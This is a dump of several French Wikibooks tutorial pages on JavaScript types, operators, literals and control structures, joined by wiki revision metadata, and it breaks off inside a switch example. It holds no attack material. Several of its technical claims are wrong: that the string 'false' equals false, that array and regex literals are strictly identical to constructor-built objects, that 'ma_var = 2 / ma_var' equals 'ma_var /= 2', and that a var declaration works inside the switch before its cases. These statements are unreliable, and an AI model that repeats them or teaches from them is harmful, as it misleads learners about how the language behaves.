===undefined=== Une variable est du type undefined dans trois cas: * Quand elle n'a pas été déclarée <pre> alert(typeof var_undeclared); // Affiche undefined (si elle n'a effectivement pas été affecté) </pre> * Aprés déclaration sans affectation <pre> var ma_nouvelle_var; // Déclarée mais pas affectée alert(typeof ma_nouvelle_var); // Affiche undefined </pre> * Aprés effacement avec la primitive '''delete''' <pre> mon_ephemere = "exister"; delete mon_ephemere; // la vie est courte alert (typeof mon_ephemere); // Affiche undefined </pre> ===number=== JavaScript réunit en un seul type les entiers, petits et grands, les décimaux, et les réels, flotants ou pas. <pre> r = 1/3; alert(r); // affiche 0.333333333333 alert(typeof r); // affiche number n = 4/2; alert(n); // affiche 2 alert(typeof n); // affiche number 3.6e5 // 360 000 en notation scientifique 0x40 // 64 en notation hexadécimale 0100 // 64 en notation octale </pre> Concrètement, les nombres sont stockés sur 64 bits, avec une mantisse de 53 bits. Cela permet des valeurs entières jusqu'à 9 007 199 254 740 991, à partir duquel on commence à perdre de la précision jusqu'à 2^1024-1 qui est la valeur flottante la plus élevée représentable en JavaScript. En fait, JavaScript inclut également dans le type '''number''' deux valeurs spéciales. '''Infinity''', un nombre signé, est renvoyé dès que le résultat dépasse la capacité de stockage de '''number''', mais aussi dans des cas limites simples. Dans les cas indécidables, ou bien lorsqu'une opération qui retourne un nombre ne peut pas le faire, c'est la valeur '''NaN''' (Not A Number) qui est renvoyée. <pre> 1/0 == Infinity -2 / Infinity == 0 0/0 == NaN Number("texte") == NaN </pre> ===string=== Le type '''string''' stocke une chaîne de caractères. C'est aussi le type le plus "faible" du langage : n'importe quelle valeur peut être convertie en chaîne, et en cas de doute avec l'opérateur '''+''', c'est une concaténation qui aura lieu, pas une addition. <pre> s = "Une chaîne de caractères"; alert(typeof s); // Affiche "string" </pre> Tous les objets possèdent une méthode générique toString() "magique" qui est appelée lorsqu'il faut convertir leur valeur en chaîne. Elle peut bien sûr être écrasée par une méthode plus spécifique. Les chaînes de caractères en JavaScript sont encadrées par des guillemets droits (<i>double quotes</i>, ") ou des <i>single quotes</i> ('), au choix. Il n'y a pas de distinction entre des chaînes définies avec l'un ou l'autre, mais si on commence une chaîne par un type de guillemet il faut la finir par le même type. À l'intérieur d'une chaîne, les séquences d'échappement connues fonctionnent comme partout : * \n : <i>line feed</i>, saut de ligne Unix * \r : <i>carriage return</i>, saut de ligne Mac OS classique * \t : tabulation * \\ : <i>backslash</i> * \' ou \" : un guillemet si la chaîne commence par ce caractère etc. Enfin, JavaScript utilise des chaînes de caractères Unicode multi-octets. Quel que soit l'encodage du fichier où est écrit le script, il est toujours possible d'inclure n'importe quel caractère dans une chaîne, soit en récupérant une chaîne d'un autre fichier, soit en créant une chaîne avec la méthode statique String.fromCharCode(), soit en utilisant la séquence d'échappement : * \x<i>HH</i> : HH est le code hexadécimal du caractère dans l'encodage courant * \u<i>HHHH</i> : HHHH est le code hexadécimal du caractère dans le tableau Unicode. Il ne peut y avoir moins de 4 chiffres après la séquence \u. ===boolean=== Une variable de type boolean accepte deux valeurs : vrai et faux. <pre> b = true; alert(typeof b); // Affiche "boolean" c = (5 == 3); // est faux, mais l'expression est booléenne. alert(typeof c); // Affiche "boolean" </pre> Dans une comparaison, les valeurs suivantes sont équivalentes (opérateur '''==''') à '''false''' : * 0 : le nombre zéro et ses variations, du style 0.000, 0x0, 0e12, etc. * "" : la chaîne vide * "0" : la chaîne contenant le nombre zéro, et toutes ses variations, comme pour le nombre * "false" : la chaîne "false" * [] ou '''new''' '''Array'''() : un tableau vide Par ailleurs, les valeurs suivantes donnent '''false''' si on les convertit (explicitement ou pas) en booléen, bien qu'elle ne soient pas toutes équivalentes par comparaison : * 0 et ses variations * "" * null * NaN * undefined Comme ces listes le montrent, une valeur peut être équivalente à '''false''' sans être considérée comme fausse elle-même ! Et inversement, une valeur considérée comme fausse n'est pas forcément équivalente au booléen '''false'''. Cela peut sembler surprenant et illogique à première vue (et source de quelques bugs) mais il faut comprendre l'origine de ces différences : * les valeurs '''null''', '''NaN''' et '''undefined''' refusent simplement d'être équivalentes à n'importe quoi sauf elles-mêmes. Donc l'opérateur '''==''' retournera systématiquement '''false''' si une des opérandes est '''null''', '''NaN''' ou '''undefined''' et que l'autre n'est pas strictement identique. Cependant, à choisir entre vrai ou faux (lors d'une conversion en '''Boolean''', il n'y a pas d'autre choix), ces valeurs sont plutôt '''false'''. * les chaînes "0" et ses variantes sont... des chaînes, et '''false''' est un booléen. JavaScript ne peut pas comparer directement deux types différents. Il pourrait convertir la chaîne en booléen, mais préfère convertir les deux en '''number''' (le type '''number''' est plus "fort"). Le résultat est 0 == 0 la comparaison est donc vraie. Cependant, "0" reste une chaîne non-vide, et si on la convertir en booléen, on obtient '''true'''. * la chaîne "false" est aussi une chaîne, mais ne peut pas être convertie en '''number'''. JavaScript, en dernier recours, convertit alors l'autre opérande en '''string''' et se retrouve à comparer "false"=="false", ce qui est vrai. Par contre, comme pour "0", la chaîne n'est pas vide et sa conversion en booléen donne '''true'''. * le tableau vide [] est un tableau, donc JavaScript le convertit en chaîne pour le comparer à '''false'''. Or, la méthode toString() d'un tableau retourne la fusion de tous les éléments, séparés par des virgules. Comme il n'y a aucun élément dans le tableau, le résultat est la chaîne vide "", qui est équivalente à '''false'''. Par contre, un tableau est de type objet et sa conversion en booléen donne '''true'''. Une valeur qui n'est pas équivalente à '''false''' ne sera pas pour autant équivalente à '''true''' par comparaison, à commencer par '''null''', '''NaN''' et '''undefined''' mais aussi toute valeur qui n'est pas équivalente à l'une des conversions possibles de '''true''' (la chaîne "true", la chaîne ou le nombre 1). Par contre, toutes les valeurs qui ne donnent pas '''false''' par conversion en '''boolean''' donnent '''true''', sans exception. Attention, les valeurs de type '''object''', y compris les instances des classes '''String''', '''Number''' et '''Boolean''' créées avec le constructeur '''new''' sont toujours converties en '''true''', même lorsque leur valeur est "", 0 ou '''false''' (la seule exception est '''null''' qui est de type '''object''' et dont la conversion en booléen est '''false'''). Cependant la comparaison avec '''false''' fonctionne de la même façon qu'avec des valeurs littérales. ===object=== Une variable de type '''object''' assume pleinement sa nature. Les autres types de variables, dits "scalaires", se comportent comme s'ils étaient eux-mêmes une valeur. Ainsi, lorsqu'on passe une variable scalaire à une expression, sa valeur est clonée. En revanche, passer une variable de type '''object''' ne fait que copier la référence, et la valeur n'est pas clonée. L'existence de "classes" en JavaScript est discutée. Le langage ne possède pas de déclaration de classe en tant que telle. Pour cette raison, l'utilisation de ce terme sera mise entre guillemets. Il existe trois manières de créer une variable de type '''object'''. * implicitement par l'expression littérale d'une valeur non-scalaire (valable uniquement quand une expression littérale existe pour la "classe" voulue) * explicitement avec '''new''' et le constructeur (valable pour toutes les "classes" sauf les objet du DOM) * indirectement pour les objets du DOM (et on ne peut pas utiliser '''new''' avec eux) L'instanciation explicite d'un objet grâce à un constructeur s'effectue avec l'opérateur '''new'''. <pre> t = new Array(); alert(typeof t) // Affiche "object" </pre> Les expressions littérales de chaînes, nombres et booléens créent des variables scalaires alors que le constructeur de ces types crée un objet (explicitement de type '''object''' et donc strictement différents d'une valeur scalaire équivalente). Mais les expressions littérales de fonctions, tableaux et expressions rationnelles créent des objets, car ce ne sont pas des types scalaires. Ces objets, instanciés sans utilisation de '''new''', sont néanmoins strictement identiques à leur équivalent produit par l'appel d'un constructeur. Par exemple : <pre> // valeur scalaire vs. objet "chaîne" !== new String("chaîne") 2.34 !== new Number(2.34) // objet vs. objet... c'est pareil ! ["a", "b", "c"] === new Array("a", "b", "c") /(\w+) ?\(/i === new RegExp("(\w+) ?\(", "i") </pre> On peut créer un objet générique (qui sera simplement une instance de la "classe" '''Object''') avec la notation littérale. Cela consiste à écrire, entre accolades, une liste de couples clé : valeur séparés par des virgules, la clé pouvant être un identifiant ou bien une chaîne, et la valeur pouvant être n'importe quelle valeur. La clé et la valeur sont séparés par deux points (':'). <pre> objetLitteral = { nom : "Mac OS X", version : 10.5, "nom de code" : "Leopard" } </pre> Attention, dans l'exemple ci-dessus, on ne pourra accéder à la dernière propriété ("nom de code") de l'objet qu'avec la notation tableau (avec des crochets), pas la notation objet (avec des points) car ce n'est pas un identifiant valide (il y a des espaces dedans). Le DOM (aussi bien W3C que IE) définit certaines "classes" : HTMLElement, HTMLTextNode, HTMLDocument, CSSRuleSet, CSSRule, etc. On doit utiliser les méthodes du DOM (comme document.createElement()) pour instancier ces objets (le "DOM 0" fait exception à cette règle et à bien d'autres). Les autres "classes" d'objets ne peuvent être créés que par un constructeur. Il y a des constructeurs natifs tels que '''Date''', et on peut définir un constructeur soi-même. Pour plus de détails, voir le chapitre consacré aux objets. ===function=== <pre> f = function(){alert("Je n'ai pas de nom, mais je suis une fonction")} f(); // Constitue l'appel de la fonction f() alert(typeof f); // Affiche "function" </pre> note : 20/01/2006 : Ce paragraphe est à creuser... [[Programmation JavaScript/Opérateurs|Opérateurs >>]] Modèle:Programmation JavaScript 6575 30253 2006-01-25T08:38:44Z Boly38 136 +dép info {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Programmation JavaScript]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation JavaScript]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation JavaScript/Introduction|Introduction]]</small> *<small>[[Programmation JavaScript/Présentation|Présentation]]</small> |- | bgcolor="white" |{{Boîte déroulante|align=left|alignT=left|titre=<small>[[Programmation JavaScript/Syntaxe|Syntaxe]]</small>|contenu= *<small>[[Programmation JavaScript/Ligne d'instruction|Ligne d'instruction]]</small> *<small>[[Programmation JavaScript/Bloc d'instructions|Bloc d'instructions]]</small> *<small>[[Programmation JavaScript/Identificateurs|Identificateurs]]</small> *<small>[[Programmation JavaScript/Expression littérale|Expression littérale]]</small> *<small>[[Programmation JavaScript/Commentaire|Commentaire]]</small> *<small>[[Programmation JavaScript/Mots réservés|Mots réservés]]</small> *<small>[[Programmation JavaScript/Variables|Variables]]</small> *<small>[[Programmation JavaScript/Opérateurs|Opérateurs]]</small> *<small>[[Programmation JavaScript/Structures de contrôle|Structures de contrôle]]</small> :<small>[[Programmation JavaScript/Structures de contrôle#if else|if else]] ; [[Programmation JavaScript/Structures de contrôle#? :|? :]] ; [[Programmation JavaScript/Structures de contrôle#switch|switch]]</small> :<small>[[Programmation JavaScript/Structures de contrôle#for|for]] ; [[Programmation JavaScript/Structures de contrôle#while|while]] ; [[Programmation JavaScript/Structures de contrôle#do|do]]</small> *<small>[[Programmation JavaScript/Fonctions prédéfinies|Fonctions prédéfinies]]</small> *<small>[[Programmation JavaScript/Objets prédéfinis|Objets prédéfinis]]</small> *<small>[[Programmation JavaScript/Fonctions utilisateur|Fonctions utilisateur]]</small> }} |- | bgcolor="white" | *<small>[[Programmation JavaScript/Mise en oeuvre|Mise en oeuvre]]</small> |- | bgcolor="white" |{{Boîte déroulante|align=left|alignT=left|titre=<small>[[Programmation JavaScript/Programmation avancée|Programmation avancée]]</small>|contenu= *<small>[[Programmation JavaScript/Opérateurs de bits|Opérateurs de bits]]</small> *<small>[[Programmation JavaScript/Programmation objet|Programmation objet]]</small> *<small>[[Programmation JavaScript/Gestion d'evennements|Gestion d'évennements]]</small> *<small>[[Programmation JavaScript/Exceptions et erreurs|Exceptions et erreurs]]</small> *<small>[[Programmation JavaScript/Interface DOM|Interface DOM]]</small> *<small>[[Programmation JavaScript/Objets Microsoft|Objets Microsoft]]</small> *<small>[[Programmation JavaScript/Applets Java|Applets Java]]</small> }} |- | bgcolor="white" |{{Boîte déroulante|align=left|alignT=left|titre=<small>[[Programmation JavaScript/Références|Références]]</small>|contenu= *<small>[[Programmation JavaScript/Références des évènements|Évènements]]</small> *<small>[[Programmation JavaScript/Références d'objets javascript|Objets Javascript]]</small> *<small>[[Programmation JavaScript/Références des liens|Liens]]</small> }} |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_JavaScript&action=submit Modifier ce modèle]</small> |} Programmation JavaScript/Opérateurs 6577 34923 2006-02-26T22:21:31Z 86.201.76.242 /* NOT (!) */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Structures de contrôle|Structures de contrôle >>]] Les opérateurs javascript reprennent la plupart des opérateurs du langage c. ==Affectation (=, +=, -=, *=, /=, %=) == Le principal signe d'affectation est le signe égal (=). Il permet d'affecter une valeur à une variable. <pre> ma_var = "La valeur affectée"; </pre> Javascript reprend les racourcis sténographique du langage c en proposant les autres opérateurs d'affectation qui font précéder le signe égal par un opérateur arithmétique. '''ma_var = ma_var + 2''' est remplacée avantageusement par '''ma_var += 2'''<br/> '''ma_var = 2 * ma_var''' peut s'écrire '''ma_var *= 2''' (commutatif)<br/> '''ma_var = 2 / ma_var''' peut s'écrire '''ma_var /= 2'''<br/> '''ma_var = 2 - ma_var''' peut s'écrire '''ma_var -= 2'''<br/> '''ma_var = 2 % ma_var''' peut s'écrire '''ma_var %= 2'''<br/> ==Concaténation (+) == A ne pas confondre avec [[#Addition (+)|l'opérateur arithmétique d'addition]], l'opérateur de concaténation permet de joindre des chaînes, ou des chaînes avec d'autres objets comme des nombres. Le résultat d'une concaténation est du type '''string'''. {{Cadre code|Exemple de concaténation de chaînes| <pre> s1 = "un "; s2 = "bout"; alert(s1 + s2); // Affiche "un bout"; </pre> }} {{Cadre code|Exemple de concaténation d'une chaîne avec un nombre| <pre> s = "Valeur du nombre : "; n = 10; alert(s + n); // Affiche "Valeur du nombre : 10"; </pre> }} {{Cadre code|Exemple de concaténation d'objets divers| <pre> t = Array(1,2,3); d = Date(); alert(t+d); // Affiche "1,2,3Fri Jan 20 17:13:32 2006"; </pre> }} ==Opérateurs arithmétiques== === Addition (+) === En présence de deux objets additionables, l'opérateur d'addition va effectuer la somme arithmétique des deux objets. Le résultat de l'addition est de type '''number''' : Exemple : * <code>3 + 1</code> donne <code>4</code> <font color="red">Attention :</font> si les deux objets, ou l'un des deux objets n'est pas un nombre, alors l'opérateur se comporte comme un [[Programmation JavaScript/Opérateurs#Concaténation (+)|opérateur de concaténation]] : Exemple : * <code>3 + "bonjour"</code> donne <code>"3bonjour"</code> (et non 0) === Soustraction (-) === Réalise la soustraction arithmétique de deux objets de type '''number'''. <br/> Le résultat est lui-même de type number.<br/> Si l'un des deux objets, (ou les deux) ne sont pas de type number, l'opérateur renvoie la constante '''NaN''' (Not a Number). === Multiplication (*) === Réalise la produit arithmétique de deux objets de type '''number'''. <br/> Le résultat est lui-même de type number.<br/> Si l'un des deux objets, (ou les deux) ne sont pas de type number, l'opérateur renvoie la constante '''NaN''' (Not a Number). === Division (/) === L'opérateur de division permet d'effectuer la division de deux entités de type '''number'''.<br/> Le résultat est lui-même de type number.<br/> Dans le cas où l'un des termes n'est pas de type number, le résultat renvoyé est '''NaN''', une constante signifiant Not a Number.<br/> De même, la division de 0 par 0 renvoie aussi '''NaN'''.<br/> A noter la division d'un nombre par zero est possible et génére la constante '''infinity''' sans provoquer d'erreur. === Modulo (%) === L'opérateur '%' permet d'effectuer l'opération mathématique ''[[w:fr:Modulo|modulo]]'' {{Cadre code|Exemple de modulo| <pre> nb = 7 % 3; // nb prend la valeur 1 (car (7 - (2*3)) = 1) nb = -7 % 3; // nb prend la valeur -1 nb = 7 % -3; // nb prend la valeur 1 </pre> }} ==Opérateurs logiques== === ET (&&) === L'opérateur logique && permet d'effectuer un test booléen entre deux expressions logiques. Le résultat est booléen. Cet opérateur est utilisé fréquement dans les structures de contrôle if et while. <pre> if ((a == true) && (b==false)) alert("C'est vrai!"); </pre> === OU (||) === L'opérateur logique || effectue un test OU logique entre deux expressions booléennes. <pre> if ((a==true)||(b==true)) alert("L'une des deux propositions est vrai. Peut-être les deux"); </pre> === NOT (!) === L'opérateur de négation ! contredit logiquement l'expression qu'il précède. <pre> if (!true) alert("alors c'est faux!"); </pre> ==Opérateurs de comparaison== === Egalité logique (==, ===) === L'opérateur d'égalité logique == renvoie une valeur vrai si les deux termes à comparer sont égaux logiquement. <pre> if (true == !false) alert("Plusieurs expressions de la vérité"); </pre> === Inégalité (!=, !==) === <pre> if (true != false) alert("C'est que tout va bien"); </pre> === Ordre (<, <=, >=, >) === Respectivement inférieur, inférieur ou égal, supérieur ou égal, supérieur, permet de comparer des entités scalaires. <pre> if (10 > 5) alert("Normal, c'est le double"); </pre> ==Opérateurs d'incrémentation et décrémentation (++ --)== Ces deux opérateurs proposent un moyen simple d'incrémenter ou décrémenter une variable de type '''number'''.<br/> {{Cadre code|Incrémentation et décrémentation| <pre> a = 0; a++; // Réalise a = a + 1; alert(a); // Affiche 1 a--; alert(a); // Affiche 0 </pre> }} Note : Appliqué sur un autre objet, comme une chaîne, l'opérateur abime définitivement le contenu de la variable. {{Cadre code|Application éronnée sur une chaîne| <pre> s = "une chaîne"; s++; // Incrémentation d'une chaîne, n'est pas correct. alert(s); // Affiche "NaN", mais la chaîne est perdue. </pre> }} ==Opérateur void== L'opérateur void ne renvoie rien.<br/> A creuser. [[Programmation JavaScript/Structures de contrôle|Structures de contrôle >>]] Programmation JavaScript/Expression littérale 6580 41372 2006-05-01T16:54:56Z 82.123.78.230 /* Les chaînes littérales dans les expressions associées aux évènements */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Commentaire| Les commentaires >>]] Dans un programme javascript, il est courant de devoir introduire des données sous forme littérale. Celà se produit principalement quand on renseigne une variable, ou quand on appelle une fonction.<br/> Ce qui suit est valide pour le code javascript écrit dans les fichiers externes, ou entre les balises &lt;script&gt; &lt;/script&gt;. En ce qui concerne le code associé aux évennements (onclick, onload...), l'approche est différente. <pre> ma_var = "une chaîne exprimée littéralement"; mon_nombre = 12; // un nombre littéral; alert("Ce message est une chaîne littérale"); </pre> Ces expressions littérales peuvent être des chaînes, ou des nombres.<br/> ==Les chaînes sous forme littérale== Elles sont constituées de lettres, chiffres, ponctuation et symboles avec un mécanisme (échappement) permettant d'étendre cet ensemble à des caractères de contrôle, de formatage et des caractères spéciaux.<br/> Une chaîne exprimée sous forme littérale est délimitée par des guillemets double ( " ) ou simple ( ' ).<br/> La rêgle veut qu'une chaîne ouverte avec un guillemet double doit être fermée avec un guillemet double. De même, une chaîne ouverte avec un guillemet simple doit être fermée avec un guillemet simple.<br/> La première complication se produit quand nous désirons inclure des guillemets dans notre chaîne.<br/> Appelons une fonction avec une chaîne en paramètre : <div style="color:red;border:1px dotted black;padding:5px"> alert("le titre de l'article : "les joies de l'informatique""); // ne marche pas </div> ... à la place, on peut écrire: <pre> alert("le titre de l'article : " + '"' + "les joies de l'informatique" + '"' ); </pre> ... mais c'est affreux. Pour utiliser une solution élégante, nous avons recours au mécanisme d'échappement. ===Le mécanisme d'échappement=== Le mécanisme d'échappement consiste à inclure dans les chaînes, des anti-slash (\) suivis d'un caractère choisi pour sa fonction. <br/> les caractères échappés sont en nombre limités et facile à mettre en oeuvre : ====L'échappement des guillemets simples (\') ou double (\")==== Précédé d'un anti-slash, les guillemets ne feront plus office de délimiteur de chaîne, et ceci permet de les inclure comme de simples symboles de ponctuation. <pre> alert("Mon nom est \"personne\""); // affiche : Mon nom est "Personne" </pre> ====Le retour à la ligne avec \n==== Il peut être utile de formater une chaîne en la présentant sur plusieurs lignes. La séquence d'échappement \n réalise celà. Elle inclus en effet le caractère de contrôle "linefeed" (valeur 10 en décimal, 0A en hexadécimal) qui réalise le retour à la ligne ave la plupart des navigateurs graphique. <pre> alert("première, \ndeuxième \net troisième ligne"); </pre> ... affiche <br/> première,<br/> deuxième<br/> et troisième ligne<br/> ====La tabulation avec \t==== La séquence d'échappement \t insère un caractère de tabulation dans la chaîne, et permet ainsi de formater l'affichage. Le caractère de tabulation est codé 9 en décimal et 09 en héxadécimal. <pre> alert("colonne 1 \tcolonne 2 \tcolonne 3"); </pre> ====L'inclusion de caractères unicode avec \u==== Javascript, quand il est codé dans un fichier distinct, ou quand il est codé entre les balises &lt;script&gt; &lt;/script&gt; ne supporte pas les entités de la forme &amp;lt; ou &amp;#160;, ou toute autre forme d'entité.<br/> L'échappement '''\u''' offre un mécanisme de remplacement dont la mise en oeuvre nécessite de se référer à une table associant les codes héxadécimaux au symboles correspondant. [[w:fr:Table des caractères unicode, de 0 à 4095|(par exemple)]] <br/> Ces codes '''héxadécimaux''' sont présentés avec '''4 digit''', et la séquence d'échappement \u nécessite d'écrire les 4 digit sous peine d'un déclenchement d'erreur.<br/> <pre> alert("Rodrigue as-tu du c\u0153ur?"); </pre> ... affiche Rodrigue as-tu du c'''&#339;'''ur?<br/> ce qui est plus conforme à l'original que l'anti-typographique "coeur", utilisé à longueur d'internet.<br/> L'inclusion de caractères unicode permet l'accès aux symboles et à la citation de fragments utilisant d'autres alphabets que le nôtre. <br/>De plus, il permet également l'inclusion ds caractères de contrôle. Ainsi, \n et \u000A sont équivalents.<br/> [[w:fr:Table des caractères unicode, de 0 à 4095|Table unicode (wikipedia)]] ==Les nombres sous forme littérale== Les nombres sont constitués de chiffres et de signes à l'exclusion du caractère espace. JavaScript permet d'exprimer littéralement les nombres entiers, réels, octals, héxadécimaux, exponentiels, sous forme positive ou négative. ===Les nombres négatifs=== En plaçant le signe moins ( - ) devant le nombre, on obtiens ce nombre en négatif, et ceci qu'il soit noté comme entier, réel, octal, hexadécimal ou exponentiel. <pre> ma_var = -5; </pre> ===Les entiers=== Ils s'écrivent tel quel, c'est la représentation par défaut, employant les chiffres 0 à 9. <pre> ma_var = 12; </pre> ===Les réels=== Le signe de séparation de la partie entière est le point ( . ) <pre> ma_var = 8.65; </pre> ===L'octal=== Un nombre commençant par zero et ne comprenant que les chiffres de 0 à 7 sera interprété en octal. <pre> ma_var = 0257; </pre> ===L'hexadécimal=== Un nombre commençant par 0x (ou 0X) comprenant les chiffres et les lettres abcdef en minuscule, majuscule ou les deux, sera interprété en hexadécimal. <pre> ma_var = 0xf044; </pre> ===La notation exponentielle=== En faisant suivre un nombre entier ou réel de la lettre e (ou E), elle-même suivie d'un entier positif ou négatif, on obtient un nombre en '''notation exponentielle'''. <pre> ma_var = 2.5e40; // Un grand nombre : 2,5 * 10 exposant 40 ma_var = 50e-30 // Un tout petit nombre </pre> ===Taille des nombres=== Le type '''number''' est au format 64 bits double précision. ==Les chaînes littérales dans les expressions associées aux évènements== A l'intérieur des balises html, il est possible d'intégrer du code JavaScript associé aux évènements, (comme onclick, onmouseover...). Javascript est à ce moment là interprété en dehors de son territoire propre, c'est à dire entre les balises &lt;script&gt; et &lt;/script&gt; ou dans un fichier séparé. <br/> Sa rédaction obéit alors aux règles de rédaction des attributs des balises, qui n'autorisent pas tout.<br/> <pre> <div onclick="alert('Je suis cliqué')">cliquez moi!</div> </pre> Html, comme xhtml, ne reconnait pas les séquences de type \uHHHH. Nous devons nous limiter aux caractères échappés classiques, amputés de ( \" ) et ( \' ). En effet, ces deux caractères ne seront pas interprétables comme valeur de la propriété de la balise.<br/> Si nous voulons afficher '''Je suis "cliqué"''', nous devons recourir aux entités.<br/> Les entités sont un mécanisme permettant d'insérer n'importe quel caractère dans une chaîne.<br/> Selon la référence du doctype html, nous aurons accès à des entités munies d'un identificateur. Sinon, sous réserve de disposer d'une '''table adéquate''', nous pouvons reproduire n'importe quel caractère.<br/> Sans aller plus-avant dans la description des entités, nous pouvons les décrires comme suit :<br/> L'entité commence par le caractère & (éperluette ou "et commercial") et finit par un point-virgule. Entre ces deux symboles, on rencontre soit un identificateur ( &'''lt'''; &'''gt'''; &'''amp''';), soit le code du caractère exprimé en '''décimal''' et précédé du signe sharp (#). (&amp;#160; &amp;#339;)<br/> <pre> <div onclick="alert('Je suis &amp;#34;cliqué&amp;#34;')"> // Affiche: Je suis "cliqué" cliquez moi! </div> </pre> ... Mission accomplie. [[Programmation JavaScript/Commentaire|Les commentaires >>]] Programmation JavaScript/Structures de contrôle 6582 31029 2006-01-31T18:01:51Z Gmarzin 1053 {{Programmation JavaScript}} [[programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[programmation JavaScript/Fonctions utilisateur|Fonctions utilisateur>>]] Javascript dispose de structures de contrôle comparables à ce qu'on rencontre en langage C. La plupart des règles et habitudes acquises dans ce langage sont immédiatement transposables en javascript.<br/> Avant de passer en revue les structures de contrôle, il est utile de lire le paragraphe [[#Établissement d'une expression logique|Établissement d'une expression logique]] qui précise certains aspects de la méthode. ==Établissement d'une expression logique== L'usage de '''if''', '''while''' et '''do''' met en œuvre des expressions logiques dont le résultat testé (vrai) conditionnera l'exécution de l'instruction ou du bloc d'instructions associé.<br/> Ces expressions logiques sont inscrites entre parenthèses.<br/> Du plus simple au plus complexe, on trouve : *(5 == 5) est bizarre mais vrai *(true) La constante true est toujours vraie *(false) La constante false est toujours fausse *(var_bool) Si var_bool est vrai, l'expression est vraie *(!var_bool)Si var_bool est vrai, l'expression est fausse *(var_bool==false) Si var_bool est faux, l'expression est vraie (et oui...) Avec des variables numériques ou des variables chaînes, le principe est similaire : *(ma_var_num == 5) *(ma_chaine == "foo") De même avec les opérateurs de comparaison : *(ma_var > 0) ma_var non nulle *(ma_var <= 5) inférieure ou égale à 5 *(ma_chaine != "bar") le contenu de ma_chaine différent de "bar" etc..<br/> À l'étape suivante, on peut combiner des expressions logiques avec des opérateurs logiques ET ( && ) et OU (||). *((ma_var==5)&&(ma_chaine=="bar")) Réaliser les deux conditions *((ma_var==5)||(ma_chaîne=="bar")) Réaliser l'une des conditions *((ma_var==5)&&(ma_chaine=="bar")||(!var_bool)) ... Et ainsi de suite... en faisant très attention aux parenthèses et à l'ordre de priorité des opérateurs, et à conserver une certaine lisibilité au code. ==Le piège== L'auteur de cet article ne vient pas du C , mais du pascal. Il commet donc encore aujourd'hui l'erreur de confondre l'opérateur d'affectation avec l'opérateur d'égalité logique. Ceci a pour conséquence d'introduire un bug à retardement dû à l'affectation de la variable de test. <div style="color:red;text-align:center"> if (ma_var = 0) Exécution du code </div> L'expression (ma_var = 0) est fausse. L'expression (ma_var = 5) est vraie. Mais dans les deux cas, l'affectation a lieu, écrasant le contenu précédent de la variable.<br/> Donc cette erreur, si elle n'est pas comprise, plonge le programmeur dans des abîmes de questions et de doutes, avec peu de chances de comprendre pourquoi. Bien entendu, la bonne façon est d'utiliser l'opérateur d'égalité logique ( == ) à la place de l'opérateur d'affectation ( = ). ==Branchement conditionnel== ===if else=== La structure de contrôle '''if''' permet de subordonner l'exécution d'une ligne ou d'un bloc d'instructions à l'évaluation (vrai) d'une [[programmation javascript syntaxe structures de contrôle#Établissement d'une expression logique|expression logique]].<br/> La syntaxe est : {{Cadre code|Exemple if| <pre> if (condition_vrai) // Exécution d'une ligne d'instructions alert("La condition est vraie"); . . . if (condtion_vrai) // Exécution d'une bloc d'instructions { alert("La condition est vrai"); alert("... je le confirme"); } </pre> }} Le mot réservé '''else''' permet d'exécuter une ligne ou un bloc d'instructions alternativement au résultat de l'évaluation de l'expression logique. {{Cadre code|Exemple if else| <pre> if (condition) alert("La condition est vrai"); else alert("la condition est fausse"); . . . if (condition) { alert("La condition est vraie"); alert("... je le confirme"); } else { alert("la condition est fausse"); alert("... je le confirme"); } </pre> }} ===? :=== Cette structure est remarquable par sa concision et peut se substituer à des if else reliés à des lignes d'instructions simples.<br/> La syntaxe est la suivante : <br/> <pre> (expression) ? Ligne d'instruction si expression vraie : Ligne d'instruction si expression fausse ; </pre> L'expression à évaluer est inscrite entre parenthèses.<br/> Le point d'interrogation effectue le test de l'expression entre parenthèses et si elle est vraie exécute la ligne d'instruction à droite jusqu'à l'apparition des deux points.<br/> Les deux points se comportent comme un else (sinon) et déclenchent l'exécution de la ligne d'instructions si l'expression est fausse.<br/> Le point virgule referme la structure. {{Cadre code|Exemple test rapide| <pre> (ma_var==5) ? alert("ma_var a la valeur 5") : alert("ma_var est différente de 5"); </pre> }} Note : on ne peut pas employer de blocs d'instructions.<br/> on ne rencontre qu'un seul point-virgule. ===switch case=== Le mot réservé '''switch''' permet en conjonction avec '''case''' de mettre en place un sélecteur de cas d'une grande souplesse.<br/> Cette structure remplace avantageusement une structure équivalente construite à partir de if else et if else imbriqués.<br/> Le mécanisme de test ne fait pas appel à une expression logique, mais une comparaison d'une variable de type scalaire avec des valeurs du même type.<br/> Contrairement au langage c, qui nécessite que les valeurs de comparaison soient des constantes littérales, javascript, interprété, autorise l'usage de variables.<br/> La structure '''switch case''' ne pourrait pas fonctionner correctement sans '''break'''. En effet, et celà est déconcertant au début, quand une condition case est vérifiée, le processeur n'effectue plus de test et exécute tout ce qu'il trouve jusqu'à la fin en pasant par dessus les '''case''' rencontrés.<br/> Enfin, le mot réservé '''default''' couvre les cas différent de ceux traités par les '''case'''.<br/> {{Cadre code|switch exemple 1| <pre> switch(ma_var) { var egal_deux = 2 case 1 : alert("la variable vaut 1"); break; case egal_deux : alert("la variable vaut 2"); break; default : alert("la variable vaut autre chose que 1 ou 2"); } </pre> }} On remarque les break systématiques dans ce cas.<br/> D'autre part, on illustre la possibilité de fournir des variables à '''case''', ce qui n'est pas possible en '''langage c'''. Deuxième exemple : Nous allons regrouper plusieurs cas, et déclencher plusieurs exécutions d'instructions pour certaines valeurs. {{Cadre code|switch exemple 2| <pre> switch(ma_var) { case 0: alert("Vraiment nulle, cette variable"); // Elle vaut zero break; case 1: case 3: alert("La variable vaut 1 ou 3"); // Et on continue case 5: alert("la variable est impaire et comprise entre 1 et 5"); break; case 2: case 4: case 6: alert("la variable est paire et comprise entre 2 et 6"); break; 